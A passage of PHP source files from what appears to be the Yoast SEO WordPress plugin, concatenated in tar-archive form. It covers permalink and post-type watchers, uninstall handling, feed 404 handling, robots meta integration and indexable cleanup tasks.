		\add_action( 'update_option_home', [ $this, 'reset_permalinks' ] );
		\add_action( 'wpseo_permalink_structure_check', [ $this, 'force_reset_permalinks' ] );
	}

	/**
	 * Resets the permalinks for everything that is related to the permalink structure.
	 *
	 * @return void
	 */
	public function reset_permalinks() {
		$this->indexable_helper->reset_permalink_indexables( null, null, Indexing_Reasons::REASON_HOME_URL_OPTION );

		// Reset the home_url option.
		$this->options_helper->set( 'home_url', \get_home_url() );
	}

	/**
	 * Resets the permalink indexables automatically, if necessary.
	 *
	 * @return bool Whether the request ran.
	 */
	public function force_reset_permalinks() {
		if ( $this->should_reset_permalinks() ) {
			$this->reset_permalinks();

			if ( \defined( 'WP_CLI' ) && \WP_CLI ) {
				WP_CLI::success( \__( 'All permalinks were successfully reset', 'wordpress-seo' ) );
			}

			return true;
		}

		return false;
	}

	/**
	 * Checks whether permalinks should be reset.
	 *
	 * @return bool Whether the permalinks should be reset.
	 */
	public function should_reset_permalinks() {
		return \get_home_url() !== $this->options_helper->get( 'home_url' );
	}
}
integrations/watchers/indexable-permalink-watcher.php000066600000017404152204306260017163 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * WordPress Permalink structure watcher.
 *
 * Handles updates to the permalink_structure for the Indexables table.
 */
class Indexable_Permalink_Watcher implements Integration_Interface {

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The taxonomy helper.
	 *
	 * @var Taxonomy_Helper
	 */
	protected $taxonomy_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Permalink_Watcher constructor.
	 *
	 * @param Post_Type_Helper $post_type       The post type helper.
	 * @param Options_Helper   $options         The options helper.
	 * @param Indexable_Helper $indexable       The indexable helper.
	 * @param Taxonomy_Helper  $taxonomy_helper The taxonomy helper.
	 */
	public function __construct( Post_Type_Helper $post_type, Options_Helper $options, Indexable_Helper $indexable, Taxonomy_Helper $taxonomy_helper ) {
		$this->post_type        = $post_type;
		$this->options_helper   = $options;
		$this->indexable_helper = $indexable;
		$this->taxonomy_helper  = $taxonomy_helper;

		$this->schedule_cron();
	}

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_permalink_structure', [ $this, 'reset_permalinks' ] );
		\add_action( 'update_option_category_base', [ $this, 'reset_permalinks_term' ], 10, 3 );
		\add_action( 'update_option_tag_base', [ $this, 'reset_permalinks_term' ], 10, 3 );
		\add_action( 'wpseo_permalink_structure_check', [ $this, 'force_reset_permalinks' ] );
		\add_action( 'wpseo_deactivate', [ $this, 'unschedule_cron' ] );
	}

	/**
	 * Resets the permalinks for everything that is related to the permalink structure.
	 *
	 * @return void
	 */
	public function reset_permalinks() {

		$post_types = $this->get_post_types();
		foreach ( $post_types as $post_type ) {
			$this->reset_permalinks_post_type( $post_type );
		}

		$taxonomies = $this->get_taxonomies_for_post_types( $post_types );
		foreach ( $taxonomies as $taxonomy ) {
			$this->indexable_helper->reset_permalink_indexables( 'term', $taxonomy );
		}

		$this->indexable_helper->reset_permalink_indexables( 'user' );
		$this->indexable_helper->reset_permalink_indexables( 'date-archive' );
		$this->indexable_helper->reset_permalink_indexables( 'system-page' );

		// Always update `permalink_structure` in the wpseo option.
		$this->options_helper->set( 'permalink_structure', \get_option( 'permalink_structure' ) );
	}

	/**
	 * Resets the permalink for the given post type.
	 *
	 * @param string $post_type The post type to reset.
	 *
	 * @return void
	 */
	public function reset_permalinks_post_type( $post_type ) {
		$this->indexable_helper->reset_permalink_indexables( 'post', $post_type );
		$this->indexable_helper->reset_permalink_indexables( 'post-type-archive', $post_type );
	}

	/**
	 * Resets the term indexables when the base has been changed.
	 *
	 * @param string $old_value Unused. The old option value.
	 * @param string $new_value Unused. The new option value.
	 * @param string $type      The option name.
	 *
	 * @return void
	 */
	public function reset_permalinks_term( $old_value, $new_value, $type ) {
		$subtype = $type;

		$reason = Indexing_Reasons::REASON_PERMALINK_SETTINGS;

		// When the subtype contains _base, just strip it.
		if ( \strstr( $subtype, '_base' ) ) {
			$subtype = \substr( $type, 0, -5 );
		}

		if ( $subtype === 'tag' ) {
			$subtype = 'post_tag';
			$reason  = Indexing_Reasons::REASON_TAG_BASE_PREFIX;
		}

		if ( $subtype === 'category' ) {
			$reason = Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX;
		}

		$this->indexable_helper->reset_permalink_indexables( 'term', $subtype, $reason );
	}

	/**
	 * Resets the permalink indexables automatically, if necessary.
	 *
	 * @return bool Whether the reset request ran.
	 */
	public function force_reset_permalinks() {
		if ( \get_option( 'tag_base' ) !== $this->options_helper->get( 'tag_base_url' ) ) {
			$this->reset_permalinks_term( null, null, 'tag_base' );
			$this->options_helper->set( 'tag_base_url', \get_option( 'tag_base' ) );
		}
		if ( \get_option( 'category_base' ) !== $this->options_helper->get( 'category_base_url' ) ) {
			$this->reset_permalinks_term( null, null, 'category_base' );
			$this->options_helper->set( 'category_base_url', \get_option( 'category_base' ) );
		}

		if ( $this->should_reset_permalinks() ) {
			$this->reset_permalinks();

			return true;
		}

		$this->reset_altered_custom_taxonomies();

		return true;
	}

	/**
	 * Checks whether the permalinks should be reset after `permalink_structure` has changed.
	 *
	 * @return bool Whether the permalinks should be reset.
	 */
	public function should_reset_permalinks() {
		return \get_option( 'permalink_structure' ) !== $this->options_helper->get( 'permalink_structure' );
	}

	/**
	 * Resets custom taxonomies if their slugs have changed.
	 *
	 * @return void
	 */
	public function reset_altered_custom_taxonomies() {
		$taxonomies            = $this->taxonomy_helper->get_custom_taxonomies();
		$custom_taxonomy_bases = $this->options_helper->get( 'custom_taxonomy_slugs', [] );
		$new_taxonomy_bases    = [];

		foreach ( $taxonomies as $taxonomy ) {
			$taxonomy_slug = $this->taxonomy_helper->get_taxonomy_slug( $taxonomy );

			$new_taxonomy_bases[ $taxonomy ] = $taxonomy_slug;

			if ( ! \array_key_exists( $taxonomy, $custom_taxonomy_bases ) ) {
				continue;
			}

			if ( $taxonomy_slug !== $custom_taxonomy_bases[ $taxonomy ] ) {
				$this->indexable_helper->reset_permalink_indexables( 'term', $taxonomy );
			}
		}

		$this->options_helper->set( 'custom_taxonomy_slugs', $new_taxonomy_bases );
	}

	/**
	 * Retrieves a list with the public post types.
	 *
	 * @return array The post types.
	 */
	protected function get_post_types() {
		/**
		 * Filter: Gives the possibility to filter out post types.
		 *
		 * @param array $post_types The post type names.
		 *
		 * @return array The post types.
		 */
		$post_types = \apply_filters( 'wpseo_post_types_reset_permalinks', $this->post_type->get_public_post_types() );

		return $post_types;
	}

	/**
	 * Retrieves the taxonomies that belongs to the public post types.
	 *
	 * @param array $post_types The post types to get taxonomies for.
	 *
	 * @return array The retrieved taxonomies.
	 */
	protected function get_taxonomies_for_post_types( $post_types ) {
		$taxonomies = [];
		foreach ( $post_types as $post_type ) {
			$taxonomies[] = \get_object_taxonomies( $post_type, 'names' );
		}

		$taxonomies = \array_merge( [], ...$taxonomies );
		$taxonomies = \array_unique( $taxonomies );

		return $taxonomies;
	}

	/**
	 * Schedules the WP-Cron job to check the permalink_structure status.
	 *
	 * @return void
	 */
	protected function schedule_cron() {
		if ( \wp_next_scheduled( 'wpseo_permalink_structure_check' ) ) {
			return;
		}

		\wp_schedule_event( \time(), 'daily', 'wpseo_permalink_structure_check' );
	}

	/**
	 * Unschedules the WP-Cron job to check the permalink_structure status.
	 *
	 * @return void
	 */
	public function unschedule_cron() {
		if ( ! \wp_next_scheduled( 'wpseo_permalink_structure_check' ) ) {
			return;
		}

		\wp_clear_scheduled_hook( 'wpseo_permalink_structure_check' );
	}
}
integrations/watchers/indexable-post-type-change-watcher.php000066600000011776152204306260020376 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification_Center;

/**
 * Post type change watcher.
 */
class Indexable_Post_Type_Change_Watcher implements Integration_Interface {

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Holds the Post_Type_Helper instance.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type_helper;

	/**
	 * The notifications center.
	 *
	 * @var Yoast_Notification_Center
	 */
	private $notification_center;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Not_Admin_Ajax_Conditional::class, Admin_Conditional::class, Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Post_Type_Change_Watcher constructor.
	 *
	 * @param Options_Helper            $options             The options helper.
	 * @param Indexing_Helper           $indexing_helper     The indexing helper.
	 * @param Post_Type_Helper          $post_type_helper    The post_typehelper.
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Indexable_Helper          $indexable_helper    The indexable helper.
	 */
	public function __construct(
		Options_Helper $options,
		Indexing_Helper $indexing_helper,
		Post_Type_Helper $post_type_helper,
		Yoast_Notification_Center $notification_center,
		Indexable_Helper $indexable_helper
	) {
		$this->options             = $options;
		$this->indexing_helper     = $indexing_helper;
		$this->post_type_helper    = $post_type_helper;
		$this->notification_center = $notification_center;
		$this->indexable_helper    = $indexable_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'check_post_types_public_availability' ] );
	}

	/**
	 * Checks if one or more post types change visibility.
	 *
	 * @return void
	 */
	public function check_post_types_public_availability() {

		// We have to make sure this is just a plain http request, no ajax/REST.
		if ( \wp_is_json_request() ) {
			return;
		}

		$public_post_types = $this->post_type_helper->get_indexable_post_types();

		$last_known_public_post_types = $this->options->get( 'last_known_public_post_types', [] );

		// Initializing the option on the first run.
		if ( empty( $last_known_public_post_types ) ) {
			$this->options->set( 'last_known_public_post_types', $public_post_types );
			return;
		}

		// We look for new public post types.
		$newly_made_public_post_types = \array_diff( $public_post_types, $last_known_public_post_types );
		// We look for post types that from public have been made private.
		$newly_made_non_public_post_types = \array_diff( $last_known_public_post_types, $public_post_types );

		// Nothing to be done if no changes has been made to post types.
		if ( empty( $newly_made_public_post_types ) && ( empty( $newly_made_non_public_post_types ) ) ) {
			return;
		}

		// Update the list of last known public post types in the database.
		$this->options->set( 'last_known_public_post_types', $public_post_types );

		// There are new post types that have been made public.
		if ( $newly_made_public_post_types ) {

			// Force a notification requesting to start the SEO data optimization.
			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_LIMITED_COUNT_TRANSIENT );

			$this->indexing_helper->set_reason( Indexing_Reasons::REASON_POST_TYPE_MADE_PUBLIC );

			\do_action( 'new_public_post_type_notifications', $newly_made_public_post_types );
		}

		// There are post types that have been made private.
		if ( $newly_made_non_public_post_types && $this->indexable_helper->should_index_indexables() ) {
			// Schedule a cron job to remove all the posts whose post type has been made private.
			$cleanup_not_yet_scheduled = ! \wp_next_scheduled( Cleanup_Integration::START_HOOK );
			if ( $cleanup_not_yet_scheduled ) {
				\wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
			}

			\do_action( 'clean_new_public_post_type_notifications', $newly_made_non_public_post_types );
		}
	}
}
integrations/watchers/auto-update-watcher.php000066600000002772152204306260015502 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification_Center;

/**
 * Shows a notification for users who have WordPress auto updates enabled but not Yoast SEO auto updates.
 */
class Auto_Update_Watcher implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The notification ID.
	 */
	public const NOTIFICATION_ID = 'wpseo-auto-update';

	/**
	 * The Yoast notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * Auto_Update constructor.
	 *
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 */
	public function __construct( Yoast_Notification_Center $notification_center ) {
		$this->notification_center = $notification_center;
	}

	/**
	 * Initializes the integration.
	 *
	 * On admin_init, it is checked whether the notification to auto-update Yoast SEO needs to be shown or removed.
	 * This is also done when major WP core updates are being enabled or disabled,
	 * and when automatic updates for Yoast SEO are being enabled or disabled.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'remove_notification' ] );
	}

	/**
	 * Removes the notification from the notification center, if it exists.
	 *
	 * @return void
	 */
	public function remove_notification() {
		$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
	}
}
integrations/uninstall-integration.php000066600000001756152204306260014332 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\No_Conditionals;

/**
 * Class to manage the integration with the WP uninstall flow.
 */
class Uninstall_Integration implements Integration_Interface {

	use No_Conditionals;

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'uninstall_' . \WPSEO_BASENAME, [ $this, 'wpseo_uninstall' ] );
	}

	/**
	 * Performs all necessary actions that should happen upon plugin uninstall.
	 *
	 * @return void
	 */
	public function wpseo_uninstall() {
		$this->clear_import_statuses();
	}

	/**
	 * Clears the persistent import statuses.
	 *
	 * @return void
	 */
	public function clear_import_statuses() {
		$yoast_options = \get_site_option( 'wpseo' );

		if ( isset( $yoast_options['importing_completed'] ) ) {
			$yoast_options['importing_completed'] = [];

			\update_site_option( 'wpseo', $yoast_options );
		}
	}
}
integrations/front-end/backwards-compatibility.php000066600000003301152204306260016470 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Adds actions that were previously called and are now deprecated.
 */
class Backwards_Compatibility implements Integration_Interface {

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Backwards_Compatibility constructor
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->options->get( 'opengraph' ) === true ) {
			\add_action( 'wpseo_head', [ $this, 'call_wpseo_opengraph' ], 30 );
		}
		if ( $this->options->get( 'twitter' ) === true && \apply_filters( 'wpseo_output_twitter_card', true ) !== false ) {
			\add_action( 'wpseo_head', [ $this, 'call_wpseo_twitter' ], 40 );
		}
	}

	/**
	 * Calls the old wpseo_opengraph action.
	 *
	 * @return void
	 */
	public function call_wpseo_opengraph() {
		\do_action_deprecated( 'wpseo_opengraph', [], '14.0', 'wpseo_frontend_presenters' );
	}

	/**
	 * Calls the old wpseo_twitter action.
	 *
	 * @return void
	 */
	public function call_wpseo_twitter() {
		\do_action_deprecated( 'wpseo_twitter', [], '14.0', 'wpseo_frontend_presenters' );
	}
}
integrations/front-end/handle-404.php000066600000005201152204306260013421 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Wrappers\WP_Query_Wrapper;

/**
 * Handles intercepting requests.
 */
class Handle_404 implements Integration_Interface {

	/**
	 * The WP Query wrapper.
	 *
	 * @var WP_Query_Wrapper
	 */
	private $query_wrapper;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'pre_handle_404', [ $this, 'handle_404' ] );
	}

	/**
	 * Handle_404 constructor.
	 *
	 * @codeCoverageIgnore Handles dependencies.
	 *
	 * @param WP_Query_Wrapper $query_wrapper The query wrapper.
	 */
	public function __construct( WP_Query_Wrapper $query_wrapper ) {
		$this->query_wrapper = $query_wrapper;
	}

	/**
	 * Handles the 404 status code.
	 *
	 * @param bool $handled Whether we've handled the request.
	 *
	 * @return bool True if it's 404.
	 */
	public function handle_404( $handled ) {
		if ( ! $this->is_feed_404() ) {
			return $handled;
		}

		$this->set_404();
		$this->set_headers();

		\add_filter( 'old_slug_redirect_url', '__return_false' );
		\add_filter( 'redirect_canonical', '__return_false' );

		return true;
	}

	/**
	 * If there are no posts in a feed, make it 404 instead of sending an empty RSS feed.
	 *
	 * @return bool True if it's 404.
	 */
	protected function is_feed_404() {
		if ( ! \is_feed() ) {
			return false;
		}

		$wp_query = $this->query_wrapper->get_query();

		// Don't 404 if the query contains post(s) or an object.
		if ( $wp_query->posts || $wp_query->get_queried_object() ) {
			return false;
		}

		// Don't 404 if it isn't archive or singular.
		if ( ! $wp_query->is_archive() && ! $wp_query->is_singular() ) {
			return false;
		}

		return true;
	}

	/**
	 * Sets the 404 status code.
	 *
	 * @return void
	 */
	protected function set_404() {
		$wp_query          = $this->query_wrapper->get_query();
		$wp_query->is_feed = false;
		$wp_query->set_404();
		$this->query_wrapper->set_query( $wp_query );
	}

	/**
	 * Sets the headers for http.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	protected function set_headers() {
		// Overwrite Content-Type header.
		if ( ! \headers_sent() ) {
			\header( 'Content-Type: ' . \get_option( 'html_type' ) . '; charset=' . \get_option( 'blog_charset' ) );
		}

		\status_header( 404 );
		\nocache_headers();
	}
}
integrations/front-end/wp-robots-integration.php000066600000012742152204306260016146 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Conditionals\WP_Robots_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Robots_Presenter;

/**
 * Class WP_Robots_Integration
 *
 * @package Yoast\WP\SEO\Integrations\Front_End
 */
class WP_Robots_Integration implements Integration_Interface {

	/**
	 * The meta tags context memoizer.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	protected $context_memoizer;

	/**
	 * Sets the dependencies for this integration.
	 *
	 * @param Meta_Tags_Context_Memoizer $context_memoizer The meta tags context memoizer.
	 */
	public function __construct( Meta_Tags_Context_Memoizer $context_memoizer ) {
		$this->context_memoizer = $context_memoizer;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		/**
		 * Allow control of the `wp_robots` filter by prioritizing our hook 10 less than max.
		 * Use the `wpseo_robots` filter to filter the Yoast robots output, instead of WordPress core.
		 */
		\add_filter( 'wp_robots', [ $this, 'add_robots' ], ( \PHP_INT_MAX - 10 ) );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [
			Front_End_Conditional::class,
			WP_Robots_Conditional::class,
		];
	}

	/**
	 * Adds our robots tag value to the WordPress robots tag output.
	 *
	 * @param array $robots The current robots data.
	 *
	 * @return array The robots data.
	 */
	public function add_robots( $robots ) {
		if ( ! \is_array( $robots ) ) {
			return $this->get_robots_value();
		}

		$merged_robots   = \array_merge( $robots, $this->get_robots_value() );
		$filtered_robots = $this->enforce_robots_congruence( $merged_robots );
		$sorted_robots   = $this->sort_robots( $filtered_robots );

		// Filter all falsy-null robot values.
		return \array_filter( $sorted_robots );
	}

	/**
	 * Retrieves the robots key-value pairs.
	 *
	 * @return array The robots key-value pairs.
	 */
	protected function get_robots_value() {
		$context = $this->context_memoizer->for_current_page();

		$robots_presenter               = new Robots_Presenter();
		$robots_presenter->presentation = $context->presentation;
		return $this->format_robots( $robots_presenter->get() );
	}

	/**
	 * Formats our robots fields, to match the pattern WordPress is using.
	 *
	 * Our format: `[ 'index' => 'noindex', 'max-image-preview' => 'max-image-preview:large', ... ]`
	 * WordPress format: `[ 'noindex' => true, 'max-image-preview' => 'large', ... ]`
	 *
	 * @param array $robots Our robots value.
	 *
	 * @return array The formatted robots.
	 */
	protected function format_robots( $robots ) {
		foreach ( $robots as $key => $value ) {
			// When the entry represents for example: max-image-preview:large.
			$colon_position = \strpos( $value, ':' );
			if ( $colon_position !== false ) {
				$robots[ $key ] = \substr( $value, ( $colon_position + 1 ) );

				continue;
			}

			// When index => noindex, we want a separate noindex as entry in array.
			if ( \strpos( $value, 'no' ) === 0 ) {
				$robots[ $key ]   = false;
				$robots[ $value ] = true;

				continue;
			}

			// When the key is equal to the value, just make its value a boolean.
			if ( $key === $value ) {
				$robots[ $key ] = true;
			}
		}

		return $robots;
	}

	/**
	 * Ensures all other possible robots values are congruent with nofollow and or noindex.
	 *
	 * WordPress might add some robot values again.
	 * When the page is set to noindex we want to filter out these values.
	 *
	 * @param array $robots The robots.
	 *
	 * @return array The filtered robots.
	 */
	protected function enforce_robots_congruence( $robots ) {
		if ( ! empty( $robots['nofollow'] ) ) {
			$robots['follow'] = null;
		}
		if ( ! empty( $robots['noarchive'] ) ) {
			$robots['archive'] = null;
		}
		if ( ! empty( $robots['noimageindex'] ) ) {
			$robots['imageindex'] = null;

			// `max-image-preview` should set be to `none` when `noimageindex` is present.
			// Using `isset` rather than `! empty` here so that in the rare case of `max-image-preview`
			// being equal to an empty string due to filtering, its value would still be set to `none`.
			if ( isset( $robots['max-image-preview'] ) ) {
				$robots['max-image-preview'] = 'none';
			}
		}
		if ( ! empty( $robots['nosnippet'] ) ) {
			$robots['snippet'] = null;
		}
		if ( ! empty( $robots['noindex'] ) ) {
			$robots['index']             = null;
			$robots['imageindex']        = null;
			$robots['noimageindex']      = null;
			$robots['archive']           = null;
			$robots['noarchive']         = null;
			$robots['snippet']           = null;
			$robots['nosnippet']         = null;
			$robots['max-snippet']       = null;
			$robots['max-image-preview'] = null;
			$robots['max-video-preview'] = null;
		}

		return $robots;
	}

	/**
	 * Sorts the robots array.
	 *
	 * @param array $robots The robots array.
	 *
	 * @return array The sorted robots array.
	 */
	protected function sort_robots( $robots ) {
		\uksort(
			$robots,
			static function ( $a, $b ) {
				$order = [
					'index'             => 0,
					'noindex'           => 1,
					'follow'            => 2,
					'nofollow'          => 3,
				];
				$ai    = ( $order[ $a ] ?? 4 );
				$bi    = ( $order[ $b ] ?? 4 );

				return ( $ai - $bi );
			}
		);

		return $robots;
	}
}
integrations/cleanup-integration.php000066600000023335152204306260013745 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use Closure;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Repositories\Indexable_Cleanup_Repository;

/**
 * Adds cleanup hooks.
 */
class Cleanup_Integration implements Integration_Interface {

	/**
	 * Identifier used to determine the current task.
	 */
	public const CURRENT_TASK_OPTION = 'wpseo-cleanup-current-task';

	/**
	 * Identifier for the cron job.
	 */
	public const CRON_HOOK = 'wpseo_cleanup_cron';

	/**
	 * Identifier for starting the cleanup.
	 */
	public const START_HOOK = 'wpseo_start_cleanup_indexables';

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * The cleanup repository.
	 *
	 * @var Indexable_Cleanup_Repository
	 */
	private $cleanup_repository;

	/**
	 * The constructor.
	 *
	 * @param Indexable_Cleanup_Repository $cleanup_repository The cleanup repository.
	 * @param Indexable_Helper             $indexable_helper   The indexable helper.
	 */
	public function __construct(
		Indexable_Cleanup_Repository $cleanup_repository,
		Indexable_Helper $indexable_helper
	) {
		$this->cleanup_repository = $cleanup_repository;
		$this->indexable_helper   = $indexable_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( self::START_HOOK, [ $this, 'run_cleanup' ] );
		\add_action( self::CRON_HOOK, [ $this, 'run_cleanup_cron' ] );
		\add_action( 'wpseo_deactivate', [ $this, 'reset_cleanup' ] );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The array of conditionals.
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * Starts the indexables cleanup.
	 *
	 * @return void
	 */
	public function run_cleanup() {
		$this->reset_cleanup();

		if ( ! $this->indexable_helper->should_index_indexables() ) {
			\wp_unschedule_hook( self::START_HOOK );
			return;
		}

		$cleanups = $this->get_cleanup_tasks();
		$limit    = $this->get_limit();

		foreach ( $cleanups as $name => $action ) {
			$items_cleaned = $action( $limit );

			if ( $items_cleaned === false ) {
				return;
			}

			if ( $items_cleaned < $limit ) {
				continue;
			}

			// There are more items to delete for the current cleanup job, start a cronjob at the specified job.
			$this->start_cron_job( $name );

			return;
		}
	}

	/**
	 * Returns an array of cleanup tasks.
	 *
	 * @return Closure[] The cleanup tasks.
	 */
	public function get_cleanup_tasks() {
		return \array_merge(
			[
				'clean_indexables_with_object_type_and_object_sub_type_shop_order' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_with_object_type_and_object_sub_type( 'post', 'shop_order', $limit );
				},
				'clean_indexables_by_post_status_auto-draft' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_with_post_status( 'auto-draft', $limit );
				},
				'clean_indexables_for_non_publicly_viewable_post' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_non_publicly_viewable_post( $limit );
				},
				'clean_indexables_for_non_publicly_viewable_taxonomies' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_non_publicly_viewable_taxonomies( $limit );
				},
				'clean_indexables_for_non_publicly_viewable_post_type_archive_pages' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_non_publicly_viewable_post_type_archive_pages( $limit );
				},
				'clean_indexables_for_authors_archive_disabled' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_authors_archive_disabled( $limit );
				},
				'clean_indexables_for_authors_without_archive' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_authors_without_archive( $limit );
				},
				'update_indexables_author_to_reassigned' => function ( $limit ) {
					return $this->cleanup_repository->update_indexables_author_to_reassigned( $limit );
				},
				'clean_orphaned_user_indexables_without_wp_user' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_orphaned_users( $limit );
				},
				'clean_orphaned_user_indexables_without_wp_post' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_object_type_and_source_table( 'posts', 'ID', 'post', $limit );
				},
				'clean_orphaned_user_indexables_without_wp_term' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_object_type_and_source_table( 'terms', 'term_id', 'term', $limit );
				},
			],
			$this->get_additional_indexable_cleanups(),
			[
				/* These should always be the last ones to be called. */
				'clean_orphaned_content_indexable_hierarchy' => function ( $limit ) {
					return $this->cleanup_repository->cleanup_orphaned_from_table( 'Indexable_Hierarchy', 'indexable_id', $limit );
				},
				'clean_orphaned_content_seo_links_indexable_id' => function ( $limit ) {
					return $this->cleanup_repository->cleanup_orphaned_from_table( 'SEO_Links', 'indexable_id', $limit );
				},
				'clean_orphaned_content_seo_links_target_indexable_id' => function ( $limit ) {
					return $this->cleanup_repository->cleanup_orphaned_from_table( 'SEO_Links', 'target_indexable_id', $limit );
				},

			],
			$this->get_additional_misc_cleanups()
		);
	}

	/**
	 * Gets additional tasks from the 'wpseo_cleanup_tasks' filter.
	 *
	 * @return Closure[] Associative array of indexable cleanup functions.
	 */
	private function get_additional_indexable_cleanups() {

		/**
		 * Filter: Adds the possibility to add additional indexable cleanup functions.
		 *
		 * @param array $additional_tasks Associative array with unique keys. Value should be a cleanup function that receives a limit.
		 */
		$additional_tasks = \apply_filters( 'wpseo_cleanup_tasks', [] );

		return $this->validate_additional_tasks( $additional_tasks );
	}

	/**
	 * Gets additional tasks from the 'wpseo_misc_cleanup_tasks' filter.
	 *
	 * @return Closure[] Associative array of indexable cleanup functions.
